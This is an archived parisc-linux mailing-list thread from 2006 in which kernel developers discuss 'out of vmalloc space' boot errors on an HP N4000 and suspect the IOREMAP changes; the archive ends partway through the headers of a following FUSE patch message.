References: <IX008E$FF5F5C221189CADA64719030F0E34D37@scarlet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624036 18760 80.91.229.3 (22 Nov 2014 02:40:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:40:36 +0000 (UTC)
Cc: Parisc List <parisc-linux@lists.parisc-linux.org>
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: - Wed Jul 02 21:27:29 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 31 Mar 2006 15:55:00 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx050) with SMTP; 31 Mar 2006 17:55:00 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id DA9A67D73E;
	Fri, 31 Mar 2006 08:54:56 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 07149-01; Fri, 31 Mar 2006 08:54:56 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C2AFB7D728;
	Fri, 31 Mar 2006 08:54:54 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 46E117D721
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 31 Mar 2006 08:54:49 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 06914-08 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 31 Mar 2006 08:54:48 -0700 (MST)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 8E4E57D716
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 31 Mar 2006 08:54:48 -0700 (MST)
Original-Received: by palinux.hppa (Postfix, from userid 26919)
	id 54C3A494050; Fri, 31 Mar 2006 08:54:48 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <IX008E$FF5F5C221189CADA64719030F0E34D37@scarlet.be>
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: nhZLLvs0aHI+vqWnKSUlaGJqamdhZMSL
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23517


Just so nobody else has to scratch their head looking at two
almost-identical dumps, the message Joel means is 

> Mar 31 11:45:39 patst006 kernel: allocation failed: out of vmalloc space - use
> vmalloc=<size> to increase size.

Either we're leaking vmalloc space, we allocate too much of it, or we
need to drastically increase it the amount of it we have available.

On Fri, Mar 31, 2006 at 04:26:38PM +0100, Joel Soete wrote:
> Hello all,
> 
> Just noticed on n4k with recent kernel:
> [snip]
> Mar 31 11:45:39 patst006 kernel: Linux version 2.6.16-pa8-n4kmp
> (root@patst006) (gcc version 4.0.3 (Debian 4.0.3-1)) #212 SMP Tue Ma
> r 28 12:30:16 CEST 2006
> [snip]
> Mar 31 11:45:39 patst006 kernel: CPU(s): 2 x PA8600 (PCX-W+) at 550.000000 MHz
> Mar 31 11:45:39 patst006 kernel: Whole cache flush 199180 cycles, flushing
> 5369080 bytes 1536791 cycles
> Mar 31 11:45:39 patst006 kernel: Setting cache flush threshold to a9e80 (2
> CPUs online)
> Mar 31 11:45:39 patst006 kernel: SBA found Ike rev 2 at 0xfffffffffed00000
> Mar 31 11:45:39 patst006 kernel: SBA found Ike rev 2 at 0xfffffffffed40000
> Mar 31 11:45:39 patst006 kernel: LBA version TR4.0 (0x5) found at
> 0xffffffffbffe0000
> Mar 31 11:45:39 patst006 kernel: iosapic: no IRTE for 0000:00:04.0 (IRQ not
> connected?)
> Mar 31 11:45:39 patst006 kernel: LBA version TR4.0 (0x5) found at
> 0xffffffffbffe2000
> Mar 31 11:45:39 patst006 kernel: LBA version TR4.0 (0x5) found at
> 0xffffffffbffe4000
> Mar 31 11:45:39 patst006 kernel: NOTICE: PCI bus reset still asserted! (clearing)
> Mar 31 11:45:39 patst006 kernel: NOTICE: Enabling PCI Arbitration
> Mar 31 11:45:39 patst006 kernel: LBA version TR4.0 (0x5) found at
> 0xffffffffbffe8000
> Mar 31 11:45:39 patst006 kernel: allocation failed: out of vmalloc space - use
> vmalloc=<size> to increase size.
> Mar 31 11:45:39 patst006 kernel: LBA version TR4.0 (0x5) found at
> 0xffffffffbffea000
> Mar 31 11:45:39 patst006 kernel: allocation failed: out of vmalloc space - use
> vmalloc=<size> to increase size.
> Mar 31 11:45:39 patst006 kernel: LBA version TR4.0 (0x5) found at
> 0xffffffffbfff0000
> Mar 31 11:45:39 patst006 kernel: NOTICE: PCI bus reset still asserted! (clearing)
> Mar 31 11:45:39 patst006 kernel: NOTICE: Enabling PCI Arbitration
> Mar 31 11:45:39 patst006 kernel: allocation failed: out of vmalloc space - use
> vmalloc=<size> to increase size.
> Mar 31 11:45:39 patst006 kernel: LBA version TR4.0 (0x5) found at
> 0xffffffffbfff4000
> Mar 31 11:45:39 patst006 kernel: NOTICE: PCI bus reset still asserted! (clearing)
> Mar 31 11:45:39 patst006 kernel: NOTICE: Enabling PCI Arbitration
> Mar 31 11:45:39 patst006 kernel: allocation failed: out of vmalloc space - use
> vmalloc=<size> to increase size.
> Mar 31 11:45:39 patst006 kernel: LBA version TR4.0 (0x5) found at
> 0xffffffffbfff8000
> Mar 31 11:45:39 patst006 kernel: NOTICE: PCI bus reset still asserted! (clearing)
> Mar 31 11:45:39 patst006 kernel: NOTICE: Enabling PCI Arbitration
> Mar 31 11:45:39 patst006 kernel: allocation failed: out of vmalloc space - use
> vmalloc=<size> to increase size.
> Mar 31 11:45:39 patst006 kernel: LBA version TR4.0 (0x5) found at
> 0xfffffffffece0000
> Mar 31 11:45:39 patst006 kernel: NOTICE: PCI bus reset still asserted! (clearing)
> Mar 31 11:45:39 patst006 kernel: NOTICE: Enabling PCI Arbitration
> Mar 31 11:45:39 patst006 kernel: allocation failed: out of vmalloc space - use
> vmalloc=<size> to increase size.
> Mar 31 11:45:39 patst006 kernel: LBA version TR4.0 (0x5) found at
> 0xfffffffffece4000
> Mar 31 11:45:39 patst006 kernel: NOTICE: PCI bus reset still asserted! (clearing)
> Mar 31 11:45:39 patst006 kernel: NOTICE: Enabling PCI Arbitration
> Mar 31 11:45:39 patst006 kernel: allocation failed: out of vmalloc space - use
> vmalloc=<size> to increase size.
> Mar 31 11:45:39 patst006 kernel: LBA version TR4.0 (0x5) found at
> 0xfffffffffece8000
> Mar 31 11:45:39 patst006 kernel: NOTICE: PCI bus reset still asserted! (clearing)
> Mar 31 11:45:39 patst006 kernel: NOTICE: Enabling PCI Arbitration
> Mar 31 11:45:39 patst006 kernel: allocation failed: out of vmalloc space - use
> vmalloc=<size> to increase size.
> Mar 31 11:45:39 patst006 kernel: LBA version TR4.0 (0x5) found at
> 0xfffffffffecf0000
> Mar 31 11:45:39 patst006 kernel: NOTICE: PCI bus reset still asserted! (clearing)
> Mar 31 11:45:39 patst006 kernel: NOTICE: Enabling PCI Arbitration
> Mar 31 11:45:39 patst006 kernel: allocation failed: out of vmalloc space - use
> vmalloc=<size> to increase size.
> Mar 31 11:45:39 patst006 kernel: LBA version TR4.0 (0x5) found at
> 0xfffffffffecf4000
> Mar 31 11:45:39 patst006 kernel: allocation failed: out of vmalloc space - use
> vmalloc=<size> to increase size.
> Mar 31 11:45:39 patst006 kernel: LBA version TR4.0 (0x5) found at
> 0xfffffffffecf8000
> Mar 31 11:45:39 patst006 kernel: SCSI subsystem initialized
> Mar 31 11:45:39 patst006 kernel: unwind_init: start = 0x10451cc0, end =
> 0x10472e10, entries = 8469
> Mar 31 11:45:39 patst006 kernel: Performance monitoring counters enabled for
> Unknown machine
> Mar 31 11:45:39 patst006 kernel: Initializing Cryptographic API
> Mar 31 11:45:39 patst006 kernel: io scheduler noop registered
> Mar 31 11:45:39 patst006 kernel: io scheduler anticipatory registered (default)
> [...]
> 
> (with a previous kernel
> Feb 13 13:47:20 patst006 kernel: Linux version 2.6.16-rc3-pa0-n4kmp
> (root@patst006) (gcc version 4.0.3 20060128 (prerelease) (Debian
>  4.0.2-8)) #14 SMP Mon Feb 13 13:05:14 CET 2006
> Feb 13 13:47:20 patst006 kernel: CPU(s): 2 x PA8600 (PCX-W+) at 550.000000 MHz
> Feb 13 13:47:20 patst006 kernel: Whole cache flush 217577 cycles, flushing
> 5352456 bytes 1498027 cycles
> Feb 13 13:47:20 patst006 kernel: Setting cache flush threshold to bdcc0 (2
> CPUs online)
> Feb 13 13:47:20 patst006 kernel: SBA found Ike rev 2 at 0xfffffffffed00000
> Feb 13 13:47:20 patst006 kernel: SBA found Ike rev 2 at 0xfffffffffed40000
> Feb 13 13:47:20 patst006 kernel: LBA version TR4.0 (0x5) found at
> 0xffffffffbffe0000
> Feb 13 13:47:20 patst006 kernel: iosapic: no IRTE for 0000:00:04.0 (IRQ not
> connected?)
> Feb 13 13:47:20 patst006 kernel: LBA version TR4.0 (0x5) found at
> 0xffffffffbffe2000
> Feb 13 13:47:20 patst006 kernel: LBA version TR4.0 (0x5) found at
> 0xffffffffbffe4000
> Feb 13 13:47:20 patst006 kernel: NOTICE: PCI bus reset still asserted! (clearing)
> Feb 13 13:47:20 patst006 kernel: NOTICE: Enabling PCI Arbitration
> Feb 13 13:47:20 patst006 kernel: LBA version TR4.0 (0x5) found at
> 0xffffffffbffe8000
> Feb 13 13:47:20 patst006 kernel: LBA version TR4.0 (0x5) found at
> 0xffffffffbffea000
> Feb 13 13:47:20 patst006 kernel: LBA version TR4.0 (0x5) found at
> 0xffffffffbfff0000
> Feb 13 13:47:20 patst006 kernel: NOTICE: PCI bus reset still asserted! (clearing)
> Feb 13 13:47:20 patst006 kernel: NOTICE: Enabling PCI Arbitration
> Feb 13 13:47:20 patst006 kernel: LBA version TR4.0 (0x5) found at
> 0xffffffffbfff4000
> Feb 13 13:47:20 patst006 kernel: NOTICE: PCI bus reset still asserted! (clearing)
> Feb 13 13:47:20 patst006 kernel: NOTICE: Enabling PCI Arbitration
> Feb 13 13:47:20 patst006 kernel: LBA version TR4.0 (0x5) found at
> 0xffffffffbfff8000
> Feb 13 13:47:20 patst006 kernel: NOTICE: PCI bus reset still asserted! (clearing)
> Feb 13 13:47:20 patst006 kernel: NOTICE: Enabling PCI Arbitration
> Feb 13 13:47:20 patst006 kernel: LBA version TR4.0 (0x5) found at
> 0xfffffffffece0000
> Feb 13 13:47:20 patst006 kernel: NOTICE: PCI bus reset still asserted! (clearing)
> Feb 13 13:47:20 patst006 kernel: NOTICE: Enabling PCI Arbitration
> Feb 13 13:47:20 patst006 kernel: LBA version TR4.0 (0x5) found at
> 0xfffffffffece4000
> Feb 13 13:47:20 patst006 kernel: NOTICE: PCI bus reset still asserted! (clearing)
> Feb 13 13:47:20 patst006 kernel: NOTICE: Enabling PCI Arbitration
> Feb 13 13:47:20 patst006 kernel: LBA version TR4.0 (0x5) found at
> 0xfffffffffece8000
> Feb 13 13:47:20 patst006 kernel: NOTICE: PCI bus reset still asserted! (clearing)
> Feb 13 13:47:20 patst006 kernel: NOTICE: Enabling PCI Arbitration
> Feb 13 13:47:20 patst006 kernel: LBA version TR4.0 (0x5) found at
> 0xfffffffffecf0000
> Feb 13 13:47:20 patst006 kernel: NOTICE: PCI bus reset still asserted! (clearing)
> Feb 13 13:47:20 patst006 kernel: NOTICE: Enabling PCI Arbitration
> Feb 13 13:47:20 patst006 kernel: LBA version TR4.0 (0x5) found at
> 0xfffffffffecf4000
> Feb 13 13:47:20 patst006 kernel: LBA version TR4.0 (0x5) found at
> 0xfffffffffecf8000
> Feb 13 13:47:20 patst006 kernel: SCSI subsystem initialized
> Feb 13 13:47:20 patst006 kernel: unwind_init: start = 0x10452ce0, end =
> 0x10473d50, entries = 8455
> Feb 13 13:47:20 patst006 kernel: Performance monitoring counters enabled for
> Unknown machine
> Feb 13 13:47:20 patst006 kernel: Initializing Cryptographic API
> [snip]
> )
> 
> Joel
> 
> ---------------------------------------------------------------
> A free anti-spam and anti-virus filter on all Scarlet mailboxes
> More info on http://www.scarlet.be/
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Strange newest LAB msg?
Date: Sat, 1 Apr 2006 00:02:36 -0700
Lines: 25
Approved: news@gmane.org
Message-ID: <20060401070236.GC23508@colo.lackof.org>
References: <IX008E$FF5F5C221189CADA64719030F0E34D37@scarlet.be>
	<20060331155448.GP13590@parisc-linux.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624037 18762 80.91.229.3 (22 Nov 2014 02:40:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:40:37 +0000 (UTC)
Cc: Parisc List <parisc-linux@lists.parisc-linux.org>
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: - Wed Jul 02 21:27:29 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 01 Apr 2006 06:51:33 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx057) with SMTP; 01 Apr 2006 08:51:33 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E65877D6A9;
	Fri, 31 Mar 2006 23:51:28 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 11591-10; Fri, 31 Mar 2006 23:51:28 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 319737D6AC;
	Fri, 31 Mar 2006 23:51:28 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3A1927D6A4
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 31 Mar 2006 23:51:25 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 11798-02 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 31 Mar 2006 23:51:24 -0700 (MST)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 7E81D7D6A0
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 31 Mar 2006 23:51:24 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id AFEDE36001E;
	Sat,  1 Apr 2006 00:02:37 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 21147-09; Sat, 1 Apr 2006 00:02:36 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 483A036001D; Sat,  1 Apr 2006 00:02:36 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <20060331155448.GP13590@parisc-linux.org>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: zxoYDTEtQEVs4OjDZnVpSktKNzg2NQLG
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23518

On Fri, Mar 31, 2006 at 08:54:48AM -0700, Matthew Wilcox wrote:
> 
> Just so nobody else has to scratch their head looking at two
> almost-identical dumps, the message Joel means is 
> 
> > Mar 31 11:45:39 patst006 kernel: allocation failed: out of vmalloc space - use
> > vmalloc=<size> to increase size.

Ah - thanks. I saw that but wasn't sure it was the cause of discussion.

> Either we're leaking vmalloc space, we allocate too much of it, or we
> need to drastically increase it the amount of it we have available.

It's odd that vmalloc fails so early in the boot sequence.
At least the last 10 (of 14) PCI busses fail with the
"allocation failed" message.
Could this somehow be related to the IOREMAP changes?

grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Strange newest LAB msg?
Date: Sat, 1 Apr 2006 09:35:42 +0200
Lines: 29
Approved: news@gmane.org
Message-ID: <200604010935.42819.deller@gmx.de>
References: <IX008E$FF5F5C221189CADA64719030F0E34D37@scarlet.be>
	<20060331155448.GP13590@parisc-linux.org>
	<20060401070236.GC23508@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624037 18766 80.91.229.3 (22 Nov 2014 02:40:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:40:37 +0000 (UTC)
Cc: Matthew Wilcox <matthew@wil.cx>
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:29 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 01 Apr 2006 07:36:10 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx076) with SMTP; 01 Apr 2006 09:36:10 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0670A7D6C9;
	Sat,  1 Apr 2006 00:36:07 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 12343-01; Sat, 1 Apr 2006 00:36:06 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8C74B7D6B6;
	Sat,  1 Apr 2006 00:36:05 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 94CC27D6B4
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  1 Apr 2006 00:36:02 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 12229-03 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 1 Apr 2006 00:36:01 -0700 (MST)
Original-Received: from mail.gmx.net (mail.gmx.de [213.165.64.20])
	by free.linux.hp.com (Postfix) with SMTP id 4214F7D6AF
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  1 Apr 2006 00:36:01 -0700 (MST)
Original-Received: (qmail invoked by alias); 01 Apr 2006 07:35:44 -0000
Original-Received: from p54AD3325.dip0.t-ipconnect.de (EHLO p100.box) [84.173.51.37]
	by mail.gmx.net (mp028) with SMTP; 01 Apr 2006 09:35:44 +0200
X-Authenticated: #1045983
User-Agent: KMail/1.9.1
In-Reply-To: <20060401070236.GC23508@colo.lackof.org>
X-Face: *4/{KL3=jWs!v\UO#3e7~Vb1~CL@oP'~|*/M$!9`tb2[;
	fY@)WscF2iV7`,a$141g'o,=?utf-8?q?7X=0A=09=3FBt1Wb=3AL7K6z-?=<?-+-13|S_ixrq58*E`)ZkSe~NSI?u=89G'J<n]7\?[)LCCBZc}~[j(=?utf-8?q?e=7D=0A=09=60-QV=7B=23=25=26=5B=3F=5EfAke6t8QbP=3Bb=27XB?=,ZU84HeThMrO(@/K.`jxq9P({V(AzezCKMxk\F2^p^+"=?utf-8?q?=0A=09=5B?="ppalbA!zy-l)^Qa3*u/Z-1W3,o?2fes2_d\u=1\E9N+~Qo
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: PGlkAz4Na2A7ubvDOHQyMTQyOWhhaoeL
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23519

On Saturday 01 April 2006 09:02, Grant Grundler wrote:
> On Fri, Mar 31, 2006 at 08:54:48AM -0700, Matthew Wilcox wrote:
> > 
> > Just so nobody else has to scratch their head looking at two
> > almost-identical dumps, the message Joel means is 
> > 
> > > Mar 31 11:45:39 patst006 kernel: allocation failed: out of vmalloc space - use
> > > vmalloc=<size> to increase size.
> 
> Ah - thanks. I saw that but wasn't sure it was the cause of discussion.
> 
> > Either we're leaking vmalloc space, we allocate too much of it, or we
> > need to drastically increase it the amount of it we have available.
> 
> It's odd that vmalloc fails so early in the boot sequence.
> At least the last 10 (of 14) PCI busses fail with the
> "allocation failed" message.
> Could this somehow be related to the IOREMAP changes?

I'm pretty sure.
We never vmalloc'ed IOmem before.

Helge
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:32 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Ryan Bradetich" <rbradetich@gmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [PATCH] Fixs to work on ARM and PARIC platforms.
Date: Sat, 1 Apr 2006 01:22:20 -0800
Lines: 113
Approved: news@gmane.org
Message-ID: <e739902b0604010122tefc6ab5radf8121eea8a3015__14044.421821791$1416624037$gmane$org@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
  boundary="----=_Part_37864_1435824.1143883340132"
X-Trace: ger.gmane.org 1416624037 18769 80.91.229.3 (22 Nov 2014 02:40:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:40:37 +0000 (UTC)
To: fuse-devel@lists.sourceforge.net,
 parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:29 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 01 Apr 2006 09:22:32 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx002) with SMTP; 01 Apr 2006 11:22:32 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B241D7D6AD;
	Sat,  1 Apr 2006 02:22:28 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 12999-08; Sat, 1 Apr 2006 02:22:28 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4AD1B7D6B2;
	Sat,  1 Apr 2006 02:22:27 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 956227D6AC
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  1 Apr 2006 02:22:23 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 13041-01 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 1 Apr 2006 02:22:22 -0700 (MST)
Original-Received: from wproxy.gmail.com (wproxy.gmail.com [64.233.184.239])
	by free.linux.hp.com (Postfix) with ESMTP id BCB6E7D6AB
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  1 Apr 2006 02:22:22 -0700 (MST)
Original-Received: by wproxy.gmail.com with SMTP id i4so1849784wra
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 01 Apr 2006 01:22:20 -0800 (PST)
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com;
	h=received:message-id:date:from:to:subject:mime-version:content-type;
